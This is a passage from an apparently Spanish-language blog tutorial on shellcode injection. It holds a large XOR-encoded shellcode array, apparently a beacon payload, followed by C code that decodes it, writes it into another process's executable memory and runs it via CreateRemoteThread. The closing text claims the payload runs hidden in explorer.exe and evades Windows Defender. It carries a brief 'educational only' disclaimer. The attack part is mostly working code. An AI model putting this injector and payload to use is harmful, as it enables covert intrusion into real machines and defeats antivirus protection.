49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use int process_id = atoi(argv[1]); // Declare a new handle as process variable // PROCESS_ALL_ACCESS HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id); // If the operation succeeded it will return the handle if(process){ printf("[+] Handle retrieved successfully!\n"); // We can print it as pointer using printf printf("[+] Handle value is %p\n", process); // Allocate space // Define the base_address variable which will save the allocated memory address LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(base_address){ printf("[+] Allocated based address is 0x%x\n", base_address); // Data chars counter int i; // Base address counter int n = 0; for(i = 0; i<=sizeof(data); i++){ // Decode shellcode opcode char DecodedOpCode = data[i] ^ 0x01; // Write the decoded bytes in memory address if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){ printf("[+] Byte wrote sucessfully!\n"); // Increase memory address by 1 n++; } } // Run our code as RemoteThread CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151); }else{ printf("[-] Unable to allocate memory ...\n"); } }else{ printf("[-] Unable to retrieve process handle\n"); }
}
Como podemos ver en la línea #55, usamos la función CreateRemoteThread() para ejecutar nuestro shellcode como un hilo en explorer.exe, y CreateRemoteThread() tomó los siguientes parámetros:
  • process: es el identificador que recuperamos anteriormente usando OpenProcess()
  • null: para obtener el descriptor de seguridad predeterminado; revise esto para obtener más información.
  • 100: el tamaño inicial de la pila.
  • base_address: que es el primer opcode de nuestro shellcode.
  • null: no se pasan parámetros al hilo.
  • 0: el hilo se ejecuta inmediatamente después de la creación.
  • 0x5151: ID de subproceso
Y después de ejecutar el código, obtendremos lo siguiente:



Tenemos un proceso beacon activo que se ejecuta en explorer.exe sin ser detectado por Windows Defender.

Conclusión

Al codificar nuestro shellcode y decodificarlo utilizando esta técnica, pudimos evitar la protección antivirus fácilmente y ejecutar nuestro shellcode dentro de otro proceso, pudiendo obtener acceso al sistema de manera silenciosa.
Puede personalizar el codificador como desee, pero también debe editar el decodificador, también puede modificar el código para satisfacer sus necesidades de ejecución y algunas partes del código están escritas sólo con fines educativos, así que ¡Por favor! No te pases de idiota usandolo para fines delictivos.
Esta información es brindada para aquellos que tienen conocimientos avanzados de programación en el ámbito de codificación y decodificación, para defender tu sistema, debes primero saber atacar.

Comentarios

Entradas populares